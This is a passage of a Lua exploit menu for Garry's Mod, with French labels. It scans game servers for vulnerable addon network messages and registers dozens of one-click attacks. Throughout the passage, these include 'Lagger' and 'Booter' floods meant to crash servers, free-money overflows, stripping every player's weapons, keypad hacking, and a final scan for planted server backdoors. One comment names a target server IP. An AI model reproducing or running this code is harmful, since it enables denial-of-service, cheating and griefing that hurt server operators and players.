8232status = ValidNetString("ORG_NewOrg")
8233if (status) then
8234CHATPRINT("Exploit Trouvé : New ORG [ORG_NewOrg]")
8235addExploit( "249","New ORG", "", function()
8236surface.PlaySound("garrysmod/ui_click.wav")
8237NOTIFICATION("Starting")
8238net.Start("ORG_NewOrg")
8239net.WriteString("I FUCKING HATE YOU!")
8240net.SendToServer()
8241end )
8242end
8243
8244status = ValidNetString("ORG_VaultDonate")
8245if (status) then
8246CHATPRINT("Exploit Trouvé : Argent Gratuite #27 [ORG_VaultDonate]")
8247addExploit( "250","Argent Gratuite #27", "", function()
8248surface.PlaySound("garrysmod/ui_click.wav")
8249NOTIFICATION("Starting")
8250net.Start("ORG_VaultDonate")
8251net.WriteFloat(-1000000000000000000000000000000000000000000000000000000)
8252net.SendToServer()
8253end )
8254end
8255
8256status = ValidNetString("Selldatride")
8257if (status) then
8258CHATPRINT("Exploit Trouvé : Sell Datride [Selldatride]")
8259addExploit( "251","Sell Datride", "", function()
8260surface.PlaySound("garrysmod/ui_click.wav")
8261NOTIFICATION("Starting")
8262for k,v in pairs(player.GetAll()) do
8263net.Start("Selldatride")
8264net.WriteEntity(v)
8265net.SendToServer()
8266end
8267end )
8268end
8269
8270status = ValidNetString("passmayorexam")
8271if (status) then
8272CHATPRINT("Exploit Trouvé : Passexam Exploit [passmayorexam]")
8273addExploit( "252","Passexam Exploit", "", function()
8274surface.PlaySound("garrysmod/ui_click.wav")
8275NOTIFICATION("Starting")
8276net.Start("passmayorexam")
8277net.SendToServer()
8278end )
8279end
8280
8281status = ValidNetString("levelup_useperk")
8282if (status) then
8283CHATPRINT("Exploit Trouvé : LevelUp Exploit [levelup_useperk]")
8284addExploit( "253","LevelUp Exploit", "", function()
8285surface.PlaySound("garrysmod/ui_click.wav")
8286NOTIFICATION("Starting")
8287net.Start("levelup_useperk")
8288net.WriteInt(1, 8)
8289net.WriteInt(2, 8)
8290net.WriteInt(3, 8)
8291net.WriteInt(4, 8)
8292net.SendToServer()
8293end )
8294end
8295
8296status = ValidNetString("ZED_SpawnCar")
8297if (status) then
8298CHATPRINT("Exploit Trouvé : ZED Spawn Car [ZED_SpawnCar]")
8299addExploit( "254","ZED Spawn Car", "", function()
8300surface.PlaySound("garrysmod/ui_click.wav")
8301NOTIFICATION("Starting")
8302net.Start("ZED_SpawnCar")
8303net.WriteFloat(1)
8304net.SendToServer()
8305end )
8306end
8307
8308status = ValidNetString("DeployMask") -- 37.230.228.248:27016
8309if (status) then
8310CHATPRINT("Exploit Trouvé : To wear a gas mask at all players [DeployMask]")
8311addExploit( "255","To wear a gas mask", "Exploit puts gas masks on all players, discovered by Leith", function()
8312surface.PlaySound("garrysmod/ui_click.wav")
8313NOTIFICATION("Starting")
8314for k,v in pairs(ents.GetAll()) do
8315net.Start("DeployMask")
8316net.WriteEntity(v)
8317net.SendToServer()
8318end
8319end )
8320end
8321
8322status = ValidNetString("RemoveMask") -- 37.230.228.248:27016
8323if (status) then
8324CHATPRINT("Exploit Trouvé : Remove the gas mask from all players [RemoveMask]")
8325addExploit( "256","Remove the gas mask", "The exploit takes off gas masks from all players, discovered by Leith", function()
8326surface.PlaySound("garrysmod/ui_click.wav")
8327NOTIFICATION("Starting")
8328for k,v in pairs(ents.GetAll()) do
8329net.Start("RemoveMask")
8330net.WriteEntity(v)
8331net.SendToServer()
8332end
8333end )
8334end
8335
8336status = ValidNetString("SwapFilter") -- 37.230.228.248:27016
8337if (status) then
8338CHATPRINT("Exploit Trouvé : Change all filters of a gas mask [SwapFilter]")
8339addExploit( "257","Change all filters", "Exploit changes the filter for all gas masks, discovered by Leith", function()
8340surface.PlaySound("garrysmod/ui_click.wav")
8341NOTIFICATION("Starting")
8342for k,v in pairs(ents.GetAll()) do
8343net.Start("SwapFilter")
8344net.WriteEntity(v)
8345net.SendToServer()
8346end
8347end )
8348end
8349
8350status = ValidNetString("WipeMask") -- 37.230.228.248:27016
8351if (status) then
8352CHATPRINT("Exploit Trouvé : Wipe gas masks [WipeMask]")
8353addExploit( "258","Wipe gas masks", "Exploit wipes all gas masks, discovered by Leith", function()
8354surface.PlaySound("garrysmod/ui_click.wav")
8355NOTIFICATION("Starting")
8356for k,v in pairs(ents.GetAll()) do
8357net.Start("WipeMask")
8358net.WriteEntity(v)
8359net.SendToServer()
8360end
8361end )
8362end
8363
8364status = ValidNetString("UseMedkit") -- 37.230.228.248:27016
8365if (status) then
8366CHATPRINT("Exploit Trouvé : Use Medkit [UseMedkit]")
8367addExploit( "259","Use Medkit", "Exploit uses a first aid kit on all players, discovered by Leith", function()
8368surface.PlaySound("garrysmod/ui_click.wav")
8369NOTIFICATION("Starting")
8370for k,v in pairs(ents.GetAll()) do
8371net.Start("UseMedkit")
8372net.WriteEntity(v)
8373net.SendToServer()
8374end
8375end )
8376end
8377
8378status = ValidNetString("IDInv_RequestBank")
8379if (status) then
8380CHATPRINT("Exploit Trouvé : Lagger #23 [IDInv_RequestBank]")
8381addExploit( "260","Lagger #23", "an exploit in the addon 'IDinventory', discovered by Leith", function()
8382surface.PlaySound("garrysmod/ui_click.wav")
8383NOTIFICATION("Starting")
8384if !timer.Exists("lagger23") then
8385timer.Create("lagger23", 0, 0, function()
8386for i = 1, 1000 do
8387net.Start("IDInv_RequestBank",true)
8388net.SendToServer()
8389end
8390end )
8391end
8392end )
8393end
8394
8395status = ValidNetString("casinokit_chipexchange")
8396if (status) then
8397CHATPRINT("Exploit Trouvé : Lagger #24 [casinokit_chipexchange]")
8398addExploit( "261","Lagger #24", "an exploit in the addon 'CasinoKit', discovered by Leith", function()
8399surface.PlaySound("garrysmod/ui_click.wav")
8400NOTIFICATION("Starting")
8401if !timer.Exists("lagger24") then
8402timer.Create("lagger24", 0, 0, function()
8403for i = 1, 1000 do
8404net.Start("casinokit_chipexchange",true)
8405net.WriteEntity(LocalPlayer())
8406net.WriteString("darkrp")
8407net.WriteBool(false)
8408net.WriteUInt(9999999999999999999999999999999999999999999999999999999999,32)
8409net.SendToServer()
8410end
8411end )
8412end
8413end )
8414end
8415
8416status = ValidNetString("RemoveTag")
8417if (status) then
8418CHATPRINT("Exploit Trouvé : 1tap server [RemoveTag]")
8419addExploit( "262","1tap server", "discovered by Leith", function()
8420surface.PlaySound("garrysmod/ui_click.wav")
8421NOTIFICATION("Starting")
8422timer.Create("1tap", 0.5, 0, function()
8423for i=1, 4000 do
8424net.Start("RemoveTag")
8425net.WriteFloat(9999999999999999999999999999999999999999999999999999999999)
8426net.SendToServer()
8427end
8428end )
8429end )
8430end
8431
8432status = ValidNetString("desktopPrinter_Withdraw")
8433if (status) then
8434CHATPRINT("Exploit Trouvé : Lagger #25 [desktopPrinter_Withdraw]")
8435addExploit( "263","Lagger #25", "an exploit in the addon 'Desktop Printers', discovered by Leith", function()
8436surface.PlaySound("garrysmod/ui_click.wav")
8437NOTIFICATION("Starting")
8438if !timer.Exists("lagger25") then
8439timer.Create("lagger25", 0, 0, function()
8440for i = 1, 1000 do
8441net.Start("desktopPrinter_Withdraw",true)
8442net.WriteEntity(LocalPlayer())
8443net.SendToServer()
8444end
8445end )
8446end
8447end )
8448end
8449
8450status = ValidNetString("sphys_dupe")
8451if (status) then
8452CHATPRINT("Exploit Trouvé : Lagger #26 [sphys_dupe]")
8453addExploit( "264","Lagger #26", "an exploit in the addon 'Simfphys', discovered by Solly", function()
8454surface.PlaySound("garrysmod/ui_click.wav")
8455NOTIFICATION("Starting")
8456timer.Create("lagger26", 0.2, 0, function()
8457for i=1,2200 do
8458net.Start("sphys_dupe",true)
8459net.SendToServer()
8460end
8461end )
8462end )
8463end
8464
8465status = ValidNetString("simfphys_gasspill")
8466if (status) then
8467CHATPRINT("Exploit Trouvé : Poop on players [simfphys_gasspill]")
8468addExploit( "265","Poop on players", "an exploit in the addon 'Simfphys', discovered by Solly", function()
8469surface.PlaySound("garrysmod/ui_click.wav")
8470NOTIFICATION("Starting")
8471timer.Create("poop", 0.1, 0, function()
8472for k,v in pairs(player.GetAll()) do
8473for j=1,3 do
8474if IsValid(v) then
8475net.Start("simfphys_gasspill")
8476net.WriteVector(v:GetPos()+Vector(0,0,90))
8477net.WriteVector(v:EyePos())
8478net.SendToServer()
8479end
8480end
8481end
8482end )
8483end )
8484end
8485
8486status = ValidNetString("dronesrewrite_controldr")
8487if (status) then
8488CHATPRINT("Exploit Trouvé : Lagger #27 [dronesrewrite_controldr]")
8489addExploit( "266","Lagger #27", "discovered by Solly", function()
8490surface.PlaySound("garrysmod/ui_click.wav")
8491NOTIFICATION("Starting")
8492timer.Create("lagger27", 0.2, 0, function()
8493for i=1,2200 do
8494net.Start("dronesrewrite_controldr",true)
8495net.SendToServer()
8496end
8497end )
8498end )
8499end
8500
8501
8502status = ValidNetString("SCP-294Sv")
8503if (status) then
8504CHATPRINT("Exploit Trouvé : SCP-294 Exploit [SCP-294Sv]")
8505addExploit( "267","SCP-294 Exploit", "discovered by questionmark", function()
8506surface.PlaySound("garrysmod/ui_click.wav")
8507NOTIFICATION("Starting")
8508for k,v in pairs(ents.GetAll()) do
8509net.Start("SCP-294Sv")
8510net.WriteString("acid")
8511net.WriteEntity(v)
8512net.SendToServer()
8513end
8514end )
8515end
8516
8517status = ValidNetString("phone")
8518if (status) then
8519CHATPRINT("Exploit Trouvé : Call all players [phone]")
8520addExploit( "269","Call all players", "discovered by questionmark", function()
8521surface.PlaySound("garrysmod/ui_click.wav")
8522NOTIFICATION("Starting")
8523for k, v in pairs(player.GetAll()) do
8524net.Start("phone")
8525net.WriteTable{
8526ply=v,
8527act='call'
8528}
8529net.SendToServer()
8530end
8531end )
8532end
8533
8534status = ValidNetString("blueatm")
8535if (status) then
8536CHATPRINT("Exploit Trouvé : Lagger #29 [blueatm]")
8537addExploit( "270","Lagger #29", "an exploit in the addon 'Blue ATM', discovered by Leith", function()
8538surface.PlaySound("garrysmod/ui_click.wav")
8539NOTIFICATION("Starting")
8540timer.Create("lagger29", 0, 0, function()
8541for i = 1, 1000 do
8542net.Start("blueatm",true)
8543net.WriteEntity(LocalPlayer())
8544net.SendToServer()
8545end
8546end )
8547end )
8548end
8549
8550status = ValidNetString("cab_cd_testdrive")
8551if (status) then
8552CHATPRINT("Exploit Trouvé : Stavox Teleport [cab_cd_testdrive]")
8553addExploit( "271","Stavox Teleport", "discovered by Aromatic", function()
8554surface.PlaySound("garrysmod/ui_click.wav")
8555NOTIFICATION("Starting")
8556net.Start('cab_cd_testdrive')
8557net.WriteUInt(0, 3)
8558net.WriteUInt(5, 8)
8559net.SendToServer()
8560end )
8561end
8562
8563status = ValidNetString("cab_sendmessage")
8564if (status) then
8565CHATPRINT("Exploit Trouvé : Stavox Message [cab_sendmessage]")
8566addExploit( "272","Stavox Message", "discovered by Aromatic", function()
8567surface.PlaySound("garrysmod/ui_click.wav")
8568NOTIFICATION("Starting")
8569for k, v in pairs(player.GetAll()) do
8570net.Start("cab_sendmessage")
8571net.WriteEntity(v)
8572net.WriteString("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
8573net.SendToServer()
8574end
8575end )
8576end
8577
8578status = ValidNetString("disguise")
8579if (status) then
8580CHATPRINT("Exploit Trouvé : Lagger #30 [disguise]")
8581addExploit( "273","Lagger #30", "discovered by Aromatic & Leith", function()
8582surface.PlaySound("garrysmod/ui_click.wav")
8583timer.Create("lagger30", 0, 0, function()
8584for i = 1, 1000 do
8585net.Start("disguise",true)
8586net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 32)
8587net.SendToServer()
8588end
8589end )
8590end )
8591end
8592
8593status = ValidNetString("FARMINGMOD_DROPITEM")
8594if (status) then
8595CHATPRINT("Exploit Trouvé : Lagger #31 [FARMINGMOD_DROPITEM]")
8596addExploit( "274","Lagger #31", "discovered by Leith", function()
8597surface.PlaySound("garrysmod/ui_click.wav")
8598timer.Create("lagger31", 0, 0, function()
8599for i = 1, 1000 do
8600net.Start("FARMINGMOD_DROPITEM",true)
8601net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 16)
8602net.SendToServer()
8603end
8604end )
8605end )
8606end
8607
8608status = ValidNetString("SlotsRemoved")
8609if (status) then
8610CHATPRINT("Exploit Trouvé : Lagger #32 [SlotsRemoved]")
8611addExploit( "275","Lagger #32", "an exploit in the addon 'PointShop 2 Perma Weapons', discovered by Leith", function()
8612surface.PlaySound("garrysmod/ui_click.wav")
8613timer.Create("lagger32", 0, 0, function()
8614for i = 1, 1000 do
8615net.Start("SlotsRemoved",true)
8616net.SendToServer()
8617end
8618end )
8619end )
8620end
8621
8622status = ValidNetString("AirDrops_StartPlacement")
8623if (status) then
8624CHATPRINT("Exploit Trouvé : Lagger #33 [AirDrops_StartPlacement]")
8625addExploit( "276","Lagger #33", "an exploit in the addon 'PointShop 2 AirDrops', discovered by Dembi", function()
8626surface.PlaySound("garrysmod/ui_click.wav")
8627timer.Create("lagger33", 0, 0, function()
8628for i = 1, 1000 do
8629net.Start("AirDrops_StartPlacement",true)
8630net.SendToServer()
8631end
8632end )
8633end )
8634end
8635
8636status = ValidNetString("IGS.GetPaymentURL")
8637if (status) then
8638CHATPRINT("Exploit Trouvé : Lagger #35 [IGS.GetPaymentURL]")
8639addExploit( "278","Lagger #35", "an exploit in the 'IGS', discovered by Leith", function()
8640surface.PlaySound("garrysmod/ui_click.wav")
8641timer.Create("lagger35", 0, 0, function()
8642for i = 1, 1000 do
8643net.Start("IGS.GetPaymentURL",true)
8644net.WriteDouble(9999999999999999999999999999999999999999999999999999999999)
8645net.SendToServer()
8646end
8647end )
8648end )
8649end
8650
8651status = ValidNetString("fg_printer_money")
8652if (status) then
8653CHATPRINT("Exploit Trouvé : Lagger #36 [fg_printer_money]")
8654addExploit( "279","Lagger #36", "an exploit in the 'FG Printers', discovered by Aromatic", function()
8655surface.PlaySound("garrysmod/ui_click.wav")
8656timer.Create("lagger36", 0, 0, function()
8657for i = 1, 1000 do
8658net.Start('fg_printer_money',true)
8659net.WriteEntity(LocalPlayer())
8660net.SendToServer()
8661end
8662end )
8663end )
8664end
8665
8666status = ValidNetString("tickbookpayfine")
8667if (status) then
8668CHATPRINT("Exploit Trouvé : Lagger #37 [tickbookpayfine]")
8669addExploit( "280","Lagger #37", "an exploit in the 'Ticket Book', discovered by Aromatic", function()
8670surface.PlaySound("garrysmod/ui_click.wav")
8671timer.Create("lagger37", 0, 0, function()
8672for i = 1, 1000 do
8673net.Start("tickbookpayfine",true)
8674net.SendToServer()
8675end
8676end )
8677end )
8678end
8679
8680status = ValidNetString("BeginSpin")
8681if (status) then
8682CHATPRINT("Exploit Trouvé : Lagger #38 [BeginSpin]")
8683addExploit( "281","Lagger #38", "an exploit in the 'Blue Unbox 2', discovered by Leith", function()
8684surface.PlaySound("garrysmod/ui_click.wav")
8685timer.Create("lagger38", 0, 0, function()
8686for i = 1, 1000 do
8687net.Start("BeginSpin",true)
8688net.SendToServer()
8689end
8690end )
8691end )
8692end
8693
8694status = ValidNetString("DuelRequestClient")
8695if (status) then
8696CHATPRINT("Exploit Trouvé : Lagger #39 [DuelRequestClient]")
8697addExploit( "282","Lagger #39", "discovered by Leith", function()
8698surface.PlaySound("garrysmod/ui_click.wav")
8699timer.Create("lagger39", 0, 0, function()
8700for i = 1, 1000 do
8701net.Start("DuelRequestClient",true)
8702net.SendToServer()
8703end
8704end )
8705end )
8706end
8707
8708status = ValidNetString("ncpstoredoact")
8709if (status) then
8710CHATPRINT("Exploit Trouvé : Lagger #40 [ncpstoredoact]")
8711addExploit( "283","Lagger #40", "an exploit in the addon 'NPC Store',discovered by Leith", function()
8712surface.PlaySound("garrysmod/ui_click.wav")
8713timer.Create("lagger40", 0, 0, function()
8714for i = 1, 1000 do
8715net.Start("ncpstoredoact",true)
8716net.SendToServer()
8717end
8718end )
8719end )
8720end
8721
8722status = ValidNetString("PermwepsNPCSellWeapon")
8723if (status) then
8724CHATPRINT("Exploit Trouvé : Lagger #41 [PermwepsNPCSellWeapon]")
8725addExploit( "284","Lagger #41", "discovered by Leith", function()
8726surface.PlaySound("garrysmod/ui_click.wav")
8727timer.Create("lagger41", 0, 0, function()
8728for i = 1, 2000 do
8729net.Start("PermwepsNPCSellWeapon",true)
8730net.WriteString("")
8731net.SendToServer()
8732end
8733end )
8734end )
8735end
8736
8737status = ValidNetString("bitcoins_request_withdraw")
8738if (status) then
8739CHATPRINT("Exploit Trouvé : Lagger #42 [bitcoins_request_withdraw]")
8740addExploit( "285","Lagger #42", "discovered by Leith", function()
8741surface.PlaySound("garrysmod/ui_click.wav")
8742timer.Create("lagger42", 0, 0, function()
8743for i = 1, 2000 do
8744net.Start("bitcoins_request_withdraw",true)
8745net.SendToServer()
8746end
8747end )
8748end )
8749end
8750
8751status = ValidNetString("bitcoins_request_turn_on")
8752if (status) then
8753CHATPRINT("Exploit Trouvé : To include all bitcoin miners [bitcoins_request_turn_on]")
8754addExploit( "286","To include all bitcoin miners", "discovered by Leith", function()
8755surface.PlaySound("garrysmod/ui_click.wav")
8756NOTIFICATION("Starting")
8757for k, v in pairs(ents.GetAll()) do
8758if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
8759net.Start("bitcoins_request_turn_on")
8760net.WriteEntity(v)
8761net.SendToServer()
8762end
8763end
8764end)
8765end
8766
8767status = ValidNetString("bitcoins_request_turn_off")
8768if (status) then
8769CHATPRINT("Exploit Trouvé : Disable all bitcoin miners [bitcoins_request_turn_off]")
8770addExploit( "287","Disable all bitcoin miners", "discovered by Leith", function()
8771surface.PlaySound("garrysmod/ui_click.wav")
8772NOTIFICATION("Starting")
8773for k, v in pairs(ents.GetAll()) do
8774if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
8775net.Start("bitcoins_request_turn_off")
8776net.WriteEntity(v)
8777net.SendToServer()
8778end
8779end
8780end)
8781end
8782
8783status = ValidNetString("NET_AM_MakePotion")
8784if (status) then
8785CHATPRINT("Exploit Trouvé : Lagger #43 [NET_AM_MakePotion]")
8786addExploit( "288","Lagger #43", "discovered by Leith", function()
8787surface.PlaySound("garrysmod/ui_click.wav")
8788NOTIFICATION("Starting")
8789timer.Create("lagger43", 0, 0, function()
8790for i = 1, 2000 do
8791net.Start('NET_AM_MakePotion',true)
8792net.WriteEntity(LocalPlayer())
8793net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 8)
8794net.SendToServer()
8795end
8796end )
8797end )
8798end
8799
8800status = ValidNetString("minigun_drones_switch")
8801if (status) then
8802CHATPRINT("Exploit Trouvé : Lagger #44 [minigun_drones_switch]")
8803addExploit( "289","Lagger #44", "discovered by Solly", function()
8804surface.PlaySound("garrysmod/ui_click.wav")
8805NOTIFICATION("Starting")
8806timer.Create("lagger44", 0.2, 0, function()
8807for i=1,2200 do
8808net.Start("minigun_drones_switch",true)
8809net.SendToServer()
8810end
8811end )
8812end )
8813end
8814
8815status = ValidNetString("CW20_PRESET_LOAD")
8816if (status) then
8817CHATPRINT("Exploit Trouvé : Lagger #45 (u need cw2 weapon in hand) [CW20_PRESET_LOAD]")
8818addExploit( "290","Lagger #45", "(u need cw2 weapon in hand),discovered by Solly", function()
8819surface.PlaySound("garrysmod/ui_click.wav")
8820NOTIFICATION("Starting")
8821timer.Create("lagger45", 0.2, 0, function()
8822if(LocalPlayer():GetActiveWeapon():GetClass():find("cw"))then
8823for i=1,2200 do
8824net.Start("CW20_PRESET_LOAD",true)
8825net.SendToServer()
8826end
8827end
8828end )
8829end )
8830end
8831
8832status = ValidNetString("SBP_addtime")
8833if (status) then
8834CHATPRINT("Exploit Trouvé : Lagger #46 [SBP_addtime]")
8835addExploit( "291","Lagger #46", "discovered by Solly", function()
8836surface.PlaySound("garrysmod/ui_click.wav")
8837NOTIFICATION("Starting")
8838timer.Create("lagger46", 0.3, 0, function()
8839for i=1,2200 do
8840net.Start("SBP_addtime",true)
8841net.SendToServer()
8842end
8843end )
8844end )
8845end
8846
8847status = ValidNetString("NetData")
8848if (status) then
8849CHATPRINT("Exploit Trouvé : Outfit player nouser [NetData]")
8850addExploit( "292","Outfit player nouser", "Just noise players near u (discovered by Solly)", function()
8851surface.PlaySound("garrysmod/ui_click.wav")
8852NOTIFICATION("Starting")
8853for k, v in pairs(player.GetAll()) do
8854net.Start("NetData")
8855net.WriteString("OF")
8856net.WriteUInt(4,8)
8857net.WriteData(math.random(100000,9999999)..",sis.mdl",30)
8858net.SendToServer()
8859end
8860end )
8861end
8862
8863status = ValidNetString("SBP_addtime")
8864if (status) then
8865CHATPRINT("Exploit Trouvé : XP Booster [SBP_addtime]")
8866addExploit( "293","XP Booster", "discovered by Solly", function()
8867inputFrameExists = true
8868inputFrame = vgui.Create( "DFrame" )
8869inputFrame:SetTitle("Enter the number")
8870inputFrame:SetSize( 400, 75 )
8871inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8872inputFrame:SetDraggable(false)
8873inputFrame:ShowCloseButton(true)
8874inputFrame:MakePopup()
8875inputFrame.Paint = function( self, w, h )
8876draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8877end
8878local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8879TextEntry:SetSize( 380, 30 )
8880TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8881TextEntry:SetText( "100" )
8882TextEntry.OnEnter = function( self )
8883surface.PlaySound("garrysmod/ui_click.wav")
8884timer.Create("ofn", 0.2, 0, function()
8885for i=1,tonumber(self:GetText()) do
8886net.Start("SBP_addtime")
8887net.SendToServer()
8888end
8889inputFrame:SetVisible(false)
8890end )
8891end
8892end )
8893end
8894
8895 status = ValidNetString("StackGhost")
8896
8897 if (status) then
8898 CHATPRINT("Exploit Trouvé : Booter 24000 #1")
8899
8900 addExploit("294", "Booter 24000 #1", "Devient aussi puissant que freezer et adrien", function()
8901 surface.PlaySound("garrysmod/ui_click.wav")
8902 NOTIFICATION("Starting")
8903
8904 if !(timer.Exists("Booteur24000")) then
8905 timer.Create("Booteur24000", 0.02, 0, function()
8906 for i = 1, 2000 do
8907 net.Start("StackGhost", true)
8908 net.WriteInt(69, 32)
8909 net.SendToServer()
8910 end
8911 end)
8912 else
8913 timer.Stop("Booteur2400011")
8914 end
8915end)
8916end
8917
8918 status = ValidNetString("pac_submit")
8919
8920 if (status) then
8921 CHATPRINT("Exploit Trouvé: Booter 24000 #2")
8922
8923 addExploit("295", "Booter 24000 #2", "Devient aussi puissant que freezer et adrien", function()
8924 surface.PlaySound("garrysmod/ui_click.wav")
8925 NOTIFICATION("Starting")
8926
8927 -----------------------------------
8928 timer.Create("Booteur240002", 0.02, 0, function()
8929 for i = 1, 1000 do
8930 Disco.NetStart("pac_submit")
8931 net.SendToServer()
8932 end
8933 end)
8934 end)
8935 ----------------------------------
8936 end
8937
8938 status = ValidNetString("RequestMAPSize")
8939
8940 if (status) then
8941 CHATPRINT("Exploit Trouvé : 1tap server [MapSize]")
8942
8943 addExploit("296", "1tap server [MapSize]", "-1 server", function()
8944 surface.PlaySound("garrysmod/ui_click.wav")
8945 NOTIFICATION("Starting")
8946
8947 -----------------------------------
8948 timer.Create("lagger10", 0, 0, function()
8949 for i = 1, 400 do
8950 net.Start("RequestMAPSize")
8951 net.SendToServer()
8952 end
8953 end)
8954 end)
8955 ----------------------------------
8956 end
8957
8958 status = ValidNetString("properties")
8959
8960 if (status) then
8961 CHATPRINT("Exploit Trouvé : El Famoso Exploit Strip")
8962
8963 addExploit("297", "El Famoso Exploit Strip", "-weapon", function()
8964 surface.PlaySound("garrysmod/ui_click.wav")
8965 NOTIFICATION("Starting")
8966
8967 -----------------------------------
8968 for k, v in pairs(player.GetAll()) do
8969 if v:IsPlayer() then
8970 for k, v in pairs(v:GetWeapons()) do
8971 net.Start("properties")
8972 net.WriteString("remove", 32)
8973 net.WriteEntity(v)
8974 net.SendToServer()
8975 end
8976 end
8977 end
8978 end)
8979 ----------------------------------
8980 end
8981
8982 status = ValidNetString("start_wd_emp")
8983
8984 if (status) then
8985 CHATPRINT("Exploit Trouvé : Hack Keypad")
8986
8987 addExploit("298", "HackKeypad", "Hack Keypad", function()
8988 surface.PlaySound("garrysmod/ui_click.wav")
8989 NOTIFICATION("Starting")
8990 -----------------------------------
8991 net.Start('start_wd_emp')
8992 net.SendToServer()
8993 end)
8994 ----------------------------------
8995 end
8996
8997 status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
8998
8999 if (status) then
9000 CHATPRINT("Exploit Trouvé : Server Crash")
9001
9002 addExploit("299", "Server Crash", " ", function()
9003 surface.PlaySound("garrysmod/ui_click.wav")
9004 NOTIFICATION("Starting")
9005
9006 -----------------------------------
9007 timer.Create("crasher2", 0, 0, function()
9008 for i = 1, 400 do
9009 net.Start("pac.net.TouchFlexes.ClientNotify")
9010 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 13)
9011 net.SendToServer()
9012 end
9013 end)
9014 end)
9015 ----------------------------------
9016 end
9017
9018 status = ValidNetString("ItemStoreDrop")
9019
9020 if (status) then
9021 CHATPRINT("Exploit Trouvé : Item booter24000")
9022
9023 addExploit("300", "Item Booter24000", "Un item aussi fort qu'adrien et freezer", function()
9024 surface.PlaySound("garrysmod/ui_click.wav")
9025 NOTIFICATION("Starting")
9026
9027 -----------------------------------
9028 timer.Create("booteur24000items", 0, 0, function()
9029 for i = 1, 1000 do
9030 net.Start("ItemStoreDrop")
9031 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
9032 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
9033 net.SendToServer()
9034 end
9035 end)
9036 end)
9037 ----------------------------------
9038 end
9039
9040 status = ValidNetString("TFA_Attachment_RequestAll")
9041
9042 if (status) then
9043 CHATPRINT("Exploit Trouvé : TFA LAGGER")
9044
9045 addExploit("301", "TFA LAGGER", "Oublie pas de porter du TFA", function()
9046 surface.PlaySound("garrysmod/ui_click.wav")
9047 NOTIFICATION("Starting")
9048
9049 -----------------------------------
9050 timer.Create("lagger20", 0.02, 0, function()
9051 for i = 1, 4400 do
9052 net.Start("TFA_Attachment_RequestAll", true)
9053 net.SendToServer()
9054 end
9055 end)
9056 end)
9057 ----------------------------------
9058 end
9059
9060 status = ValidNetString("ts_buytitle")
9061
9062 if (status) then
9063 CHATPRINT("Exploit Trouvé : Lagger #47 [ts_buytitle]")
9064
9065 addExploit("302", "Lagger #47", "an exploit in the addon 'TitleStore'", function()
9066 surface.PlaySound("garrysmod/ui_click.wav")
9067 NOTIFICATION("Starting")
9068
9069 timer.Create("lagger47", 0, 0, function()
9070 for i = 1, 1000 do
9071 net.Start("ts_buytitle", true)
9072 net.WriteTable({})
9073 net.WriteTable({})
9074 net.WriteTable({})
9075 net.SendToServer()
9076 end
9077 end)
9078 end)
9079 end
9080
9081
9082status = ValidNetString("EnterpriseWithdraw")
9083if (status) then
9084CHATPRINT("Exploit Trouvé : ENTERPRISE FOUND! [EnterpriseWithdraw]")
9085addExploit( "1337","ENTERPRISE FOUND!", "discovered by Leith", function()
9086surface.PlaySound("garrysmod/ui_click.wav")
9087NOTIFICATION("Starting")
9088net.Start("EnterpriseWithdraw")
9089net.WriteInt(100, 32)
9090net.SendToServer()
9091end )
9092end
9093
9094status = ValidNetString("SetPermaKnife")
9095if (status) then
9096CHATPRINT("Exploit Trouvé : PERMA KNIFE FOUND [SetPermaKnife]")
9097addExploit( "1337","PERMA KNIFE FOUND", "PERMA KNIFE FOUND", function()
9098surface.PlaySound("garrysmod/ui_click.wav")
9099/*
9100function cockSucker(ply,cmd,args,argStr)
9101local ply = LocalPlayer()
9102
9103net.Start( "SetPermaKnife" )
9104 net.WriteString( string.TrimRight(argStr,".lua") )
9105net.SendToServer()
9106end
9107
9108concommand.Add("gibe_weapon",cockSucker)
9109*/
9110end )
9111end
9112
9113
9114
9115
9116
9117
9118
9119
9120
9121
9122
9123/*================================
9124|===== 88Triggering BACKDOOR =====|
9125=================================*/
9126
9127local backdoorScrollPanel = vgui.Create( "DScrollPanel", netcmd )
9128backdoorScrollPanel:Dock( FILL )
9129
9130local triggeringbd = "";
9131
9132function triggeringnetcall( str )
9133 local status, error = pcall( net.Start, str )
9134 return status
9135end
9136
9137 if( triggeringnetcall("memeDoor") ) then
9138 triggeringbd = "memeDoor"
9139 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9140 else
9141 end
9142
9143 if( triggeringnetcall("Remove_Exploiters") ) then
9144 triggeringbd = "Remove_Exploiters"
9145 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9146 else
9147 end
9148
